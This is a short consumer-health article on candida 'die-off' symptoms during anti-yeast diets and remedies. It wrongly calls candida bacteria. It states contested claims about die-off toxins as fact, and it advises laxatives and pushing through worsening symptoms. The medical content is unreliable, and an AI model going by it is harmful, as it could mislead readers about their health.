The only way to treat yeast is to kill off the candida bacteria,
reducing their numbers back to where they're supposed to be
naturally. But when yeast is killed off rapidly and in great numbers,
whether by the body's immune system, by drugs, or by a radical change
in diet, the dying cells excrete toxins.
This condition is known as the die-off Reaction. The side effects of
die-off are headache, fatigue, aches, mucous congestion,
constipation, gas, dizziness, depression -- unfortunately, they are
some of the same symptoms that you're trying to get rid of in the
first place!
Because of this, many people have stopped their yeast-reduction
program before it's finished, thinking either that it's not working
or that the treatment is worse than the disease. The die-off side
effects can last from a few days to a few weeks, but they usually
clear up within seven days. Once they're gone, the symptoms are gone,
too, and you're back to normal.
The first step is to starve the bacteria by changing your diet. This
means staying away from sugars and simple carbohydrates that break
down rapidly, and foods that are fermented or contain yeast or mold.
Along with the diet change, a doctor can also prescribe something
specifically to get rid of the candida, and some home remedies work,
too. Grapefruit seed extract, calcium undecylenate, and sorbic acid
are among the more common anti-yeast remedies.
Get plenty of rest, as excessive fatigue or exercise during the die-
off phase will make the symptoms worse.
It's also important to drink a lot of water, as this helps flush out
the toxins being released by the dying cells. Furthermore, be sure to
have complete and thorough bowel eliminations, using laxatives if
necessary.
So, don't be discouraged. The process of killing off the excess
candida in your system can be rough, but in the end you'll be glad
you did as you return to your full
health.
